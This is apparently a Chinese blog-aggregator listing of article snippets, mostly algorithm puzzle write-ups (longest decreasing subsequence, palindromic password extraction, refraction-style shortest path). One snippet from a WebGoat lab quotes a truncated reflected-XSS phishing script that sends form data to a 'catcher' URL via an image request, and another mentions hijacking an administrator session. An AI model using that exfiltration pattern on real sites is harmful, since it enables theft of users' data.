一个区域,垂直分成三块,每块有一个速度限制,问你从左下角跑到右上角的最短时间。 将区域看作三块折射率不同的介质,可以证明,按照光路跑时间最短。 于是可以二分第一个入射角,此时可以推出射到最右侧边界上的位置,看什么时候恰好射到右上角即可。 这份sb代码貌似挂精度了。 ...
题目链接:https://uva.onlinejudge.org/index.php?option=com_onlinejudge&Itemid=8&category=4&page=show_problem&problem=167 这道题实际上就是在一个序列中找出最长的非降sub序列。第一个序列就是 ...
分类:
其他好文 时间:
2017-06-12 20:38:43
阅读次数:
188
POJ 1887 Testingthe CATCHER (LIS:最长下降子序列) http://poj.org/problem?id=3903 题意: 给你一个长度为n (n<=200000) 的数字序列, 要你求该序列中的最长(严格)下降子序列的长度. 分析: 读取全部输入, 将原始数组逆向, ...
分类:
其他好文 时间:
2017-06-03 21:47:10
阅读次数:
187
Web安全XSS Web安全XSS 简单的反射型XSS钓鱼演示 </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes ...
分类:
Web程序 时间:
2016-11-08 19:37:05
阅读次数:
208
使用场景: 使用权限: 实验环境: 实验效果: 1:查询会话id以及对应会话运行程序 2:在catcher账户中模拟administrator账户的seesion对adminstrator进行操作(这里catcher账户权限太低,所以做了个提权处理) 总结: 源码: ...
分类:
其他好文 时间:
2016-10-12 17:02:12
阅读次数:
258
题目描述:Catcher是MCA国的情报员,他工作时发现敌国会用一些对称的密码进行通信,比如像这些ABBA,ABA,A,123321,但是他们有时会在开始或结束时加入一些无关的字符以防止别国破解。比如进行下列变化 ABBA->12ABBA,ABA->ABAKK,123321->51233214 。因 ...
分类:
编程语言 时间:
2016-08-28 17:58:48
阅读次数:
210
Catcher是MCA国的情报员,他工作时发现敌国会用一些对称的密码进行通信,比如像这些ABBA,ABA,A,123321,但是他们有时会在开始或结束时加入一些无关的字符以防止别国破解。比如进行下列变化 ABBA->12ABBA,ABA->ABAKK,123321->51233214 。因为截获的串 ...
分类:
其他好文 时间:
2016-07-12 17:34:01
阅读次数:
155
【华为OJ】【算法总篇章】【华为OJ】【057-字符串运用-密码截取】【工程下载】———-这里写代码片题目描述Catcher是MCA国的情报员,他工作时发现敌国会用一些对称的密码进行通信,比如像这些ABBA,ABA,A,123321,
但是他们有时会在开始或结束时加入一些无关的字符以防止别国破解。比如进行下列变化 ABBA->12ABBA,ABA->ABAKK,
123321->51233214 。...
分类:
其他好文 时间:
2016-05-14 10:20:50
阅读次数:
170
【华为OJ】【算法总篇章】【华为OJ】【027-字符串运用-密码截取】【工程下载】题目描述Catcher是MCA国的情报员,他工作时发现敌国会用一些对称的密码进行通信,
比如像这些ABBA,ABA,A,123321,但是他们有时会在开始或结束时加入一些无关的字符以防止别国破解。
比如进行下列变化 ABBA->12ABBA,ABA->ABAKK,123321->51233214 。因为截获的串太长了,...
分类:
其他好文 时间:
2016-05-08 09:12:49
阅读次数:
181
iShare短网址信息压缩分享平台——Dream Catcher 团队 1.这个领域有什么创新的历史? 网络上现在已有很多短网址服务,据统计已超过 610 种。 国外的如谷歌 ( Google ) 的 goo.gl,推特 ( Twitter ) 的 t.co,ShortURL,TinyURL,Bit ...
分类:
其他好文 时间:
2016-04-21 23:27:26
阅读次数:
207